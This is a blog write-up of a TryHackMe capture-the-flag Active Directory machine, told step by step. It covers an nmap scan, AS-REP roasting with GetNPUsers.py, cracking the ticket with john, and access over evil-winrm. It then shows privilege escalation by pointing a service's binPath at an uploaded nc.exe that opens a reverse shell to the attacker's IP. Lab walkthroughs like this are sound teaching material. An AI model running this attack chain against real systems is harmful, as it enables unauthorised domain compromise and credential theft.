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Services

Posted Updated
Active Directory Medium Level Machine 🛍️
Active Directory Medium Level Machine 🛍️
By Shivendra Prajapati 6 min read

Port Scan Results ⤵️

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Service]
└─$ sudo nmap -sC -sV -T4 -p- -oN Nmap_Results.txt 10.10.239.246 -Pn
Nmap scan report for 10.10.239.246
Host is up (0.17s latency).
Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-02-21 07:36:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: services.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: services.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SERVICES
|   NetBIOS_Domain_Name: SERVICES
|   NetBIOS_Computer_Name: WIN-SERVICES
|   DNS_Domain_Name: services.local
|   DNS_Computer_Name: WIN-SERVICES.services.local
|   DNS_Tree_Name: services.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-02-21T07:37:25+00:00
| ssl-cert: Subject: commonName=WIN-SERVICES.services.local
| Not valid before: 2024-02-20T07:21:03
|_Not valid after:  2024-08-21T07:21:03
|_ssl-date: 2024-02-21T07:37:33+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49703/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: WIN-SERVICES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-02-21T07:37:27
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Web Enumeration ⤵️

I enumerated the port 80 and in contact part I noticed an email ID like this j.doe@services.local and from about.html page I got some users like these 🔻 Image Users from about.html page

I made a users.txt file that include the usernames as Joanne Doe to j.doe like I suspected so I made all the users have that format of username .

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Service]
└─$ cat users.txt          
j.doe
j.rock
w.masters
j.larusso

Now I have to look for ASRep-Rosting for that I performed GetNPUsers.py with that username file and I got this result ⏬

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Service]
└─$ /opt/Tools/impacket/examples/GetNPUsers.py -no-pass 'services.local/' -dc-ip 10.10.239.246 -request -usersfile users.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User j.doe does not have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$j.rock@SERVICES.LOCAL:5bf80cb45d84a6e9e02eab6ed07f7978$9fd9582043ab1891ac419b2bd3b016cca950eb0718c5e204c977e77cb32b1cede5b471b6369b4f2817c6cccd7273a49e6c6384fb99393375cda5476ac0c1491c3a2f6e3ea3b4f80e72bc1fc35e71a43ff0ee3fde1d762c2318ed8c7ba34f388b689f8e3d1e09dbaf1ce4060531fa96f1a6538a55afc872fa97ba8bfb200b5bd12d39a296e69e5017c114b0305f85d06b9ac841e72e9fd2075265a0b08bbfc04537cecfc2934d70a52ad43c1df13b24ebf51f9bc1c0a324c9a34fdf0d42495d2943d92c1e612acd9ffbbe1ef1f1341aac2fc396a5d42dd6705f849d0cf2c5dc7f4f932c5cc6............9
[-] User w.masters does not have UF_DONT_REQUIRE_PREAUTH set
[-] User j.larusso does not have UF_DONT_REQUIRE_PREAUTH set

So lets crack this ticket now with john the ripper tool ⏩

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Service]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<PASSWORD>    ($krb5asrep$23$j.rock@SERVICES.LOCAL)     
1g 0:00:00:34 DONE (2024-02-21 13:11) 0.02913g/s 309079p/s 309079c/s 309079C/s SexieEyez1..Sergio03
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Lets see what privileges does this user have -> Image Netexec Tool to check the smb,winrm permissions. Lets have a winrm-session -> Image evil-winrm Tool that gives the access for winrm service Lets access some flags ->

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*Evil-WinRM* PS C:\Users\j.rock> tree /f /a
Folder PATH listing
Volume serial number is A8A4-C362
C:.
+---Desktop
|       EC2 Feedback.website
|       EC2 Microsoft Windows Guide.website
|       user.txt
|
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
\---Videos
*Evil-WinRM* PS C:\Users\j.rock>

I checked the privileges and got to know that this user is part of service operators group so I can leverage that part to get to Administrator like this -> Image whoami /all command , part of Service Operators group Now I will see the services running on this machine that will works as a beacon to execute my payload like this -> Image services running on this system I will be using cfn-hup service to change its path to my payload and for payload I need to upload nc.exe in this machine 🔽

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*Evil-WinRM* PS C:\Users\j.rock> upload ../../../../../../usr/share/windows-binaries/nc.exe
                                        
Info: Uploading /home/kali/Downloads/Tryhackme/Service/../../../../../../usr/share/windows-binaries/nc.exe to C:\Users\j.rock\nc.exe
                                        
Data: 79188 bytes of 79188 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\j.rock>
*Evil-WinRM* PS C:\Users\j.rock> sc.exe config cfn-hup binPath="C:\\Users\\j.rock\\nc.exe -e cmd.exe 10.14.72.139 445"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\j.rock> sc.exe stop cfn-hup
*Evil-WinRM* PS C:\Users\j.rock> sc.exe start cfn-hup
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

*Evil-WinRM* PS C:\Users\j.rock>

For at most 10-15 sec the reverse shell is active then the service did not response in that while I enumerated the Administrators filesystem like this 🔻

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Service]
└─$ rlwrap nc -lvnp 445 
listening on [any] 445 ...
connect to [10.14.72.139] from (UNKNOWN) [10.10.239.246] 61223
Microsoft Windows [Version 10.0.17763.4010]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
WIN-SERVICES

C:\Windows\system32>
C:\Windows\system32>cd C:\Users\Administrator
cd C:\Users\Administrator

C:\Users\Administrator>tree /f /a
tree /f /a
Folder PATH listing
Volume serial number is FFFFFFFE A8A4:C362
C:.
+---3D Objects
+---Contacts
+---Desktop
|       EC2 Feedback.website
|       EC2 Microsoft Windows Guide.website
|       root.txt
|       
+---Documents
|   \---WindowsPowerShell
|       +---Modules
|       |   \---psprivilege
|       |       \---0.2.0
|       |           |   PSPrivilege.Format.ps1xml
|       |           |   PSPrivilege.psd1
|       |           |   PSPrivilege.psm1
|       |           |   
|       |           +---bin
|       |           |   +---net472
|       |           |   |       PSPrivilege.dll
|       |           |   |       PSPrivilege.pdb
|       |           |   |       
|       |           |   \---netcoreapp3.1
|       |           |           PSPrivilege.deps.json
|       |           |           PSPrivilege.dll
|       |           |           PSPrivilege.pdb
|       |           |           
|       |           \---en-US
|       |                   about_PSPrivilege.help.txt
|       |                   PSPrivilege.dll-Help.xml
|       |                   
|       \---Scripts
|           \---InstalledScriptInfos
+---Downloads
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{<FLAG---FLAG---FLAG>}

C:\Users\Administrator\Desktop>

I am Administrator Now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

TryHackMe
netexec PrivEsc ASREPRoast GetNPUsers.py Service_Operators Windows
This post is licensed under CC BY 4.0 by the author.